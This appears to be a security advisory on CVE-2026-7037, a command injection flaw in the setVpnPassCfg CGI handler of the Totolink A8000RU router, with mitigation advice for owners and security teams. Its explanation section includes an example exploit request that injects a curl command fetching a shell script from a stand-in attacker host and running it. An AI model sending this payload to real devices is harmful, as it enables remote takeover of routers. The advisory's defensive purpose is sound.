CVE-2026-7037: Unauthenticated OS Command Injection in Totolink A8000RU

Unauthenticated Remote Code Execution on Totolink Routers

A critical OS command injection vulnerability tracked as CVE-2026-7037 was published to the National Vulnerability Database (NVD) on April 26, 2026, affecting the Totolink A8000RU wireless router running firmware version 7.1cu.643_b20200521.

The flaw resides in the setVpnPassCfg function within /cgi-bin/cstecgi.cgi — the router's CGI request handler. The pptpPassThru argument is passed directly into a system call without sanitization, enabling an unauthenticated remote attacker to execute arbitrary OS commands with the privileges of the CGI process.

A public proof-of-concept exploit is available on GitHub. No official patch or vendor advisory from Totolink has been issued as of April 27, 2026.

Vulnerability Details

How the Vulnerability Works

Root Cause: Unsanitized CGI Parameter

The setVpnPassCfg function processes the pptpPassThru argument from HTTP request parameters to configure VPN pass-through settings. The function passes the raw parameter value directly into a system call — no escaping, no validation, no filtering of shell metacharacters.

An attacker can inject arbitrary commands using standard shell injection patterns:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: <router_ip>
Content-Type: application/x-www-form-urlencoded
 
action=setVpnPassCfg&pptpPassThru=1;curl${IFS}attacker.example.com/shell.sh|sh

The injected command executes on the router's Linux-based OS under the privileges of the CGI handler process.

Why CVSS 9.8 (Critical)

The maximum-severity score is justified by all five CVSS base factors aligning to worst-case:

Impact Assessment

Recommendations

For Device Owners

1. Disable remote management — if the router admin interface is accessible from the WAN, disable this feature immediately in the router settings
2. Restrict admin interface to LAN only — ensure /cgi-bin/cstecgi.cgi is not reachable from untrusted networks
3. Check for firmware updates — monitor Totolink's official support page for a patched firmware release
4. Consider device replacement — this firmware version dates from 2020; devices on end-of-life firmware with critical unpatched CVEs should be replaced

For Security Teams

1. Scan for exposed Totolink A8000RU devices in your environment using asset inventory tools
2. Apply network segmentation — isolate routers and IoT devices on dedicated VLANs away from sensitive systems
3. Monitor for exploitation attempts — watch for unusual POST requests to /cgi-bin/cstecgi.cgi in WAF and perimeter logs
4. Track vendor patch — no official advisory has been issued; watch NVD and Totolink's site for updates

Key Takeaways

1. CVE-2026-7037 is a CVSS 9.8 Critical unauthenticated RCE exploitable by any attacker with network access to the device's web interface
2. No authentication is required — the pptpPassThru parameter is processed before any session validation
3. A public PoC exists on GitHub, dramatically lowering the bar for exploitation
4. No patch is available — mitigation is entirely defensive (firewall, network segmentation) until Totolink releases updated firmware
5. CWE-78 command injection in CGI handlers is a well-understood vulnerability class that continues to affect embedded and IoT devices
6. Totolink firmware 7.1cu.643_b20200521 dates from May 2020 — the device is likely running unsupported legacy firmware

Sources

• CVE-2026-7037 — NVD
• CVE-2026-7037 — OffSeq Threat Radar
• CVE-2026-7037 — CIRCL Vulnerability Lookup
• CVE-2026-7037 — THREATINT
• TOTOLINK.Devices.cstecgi.Command.Injection — FortiGuard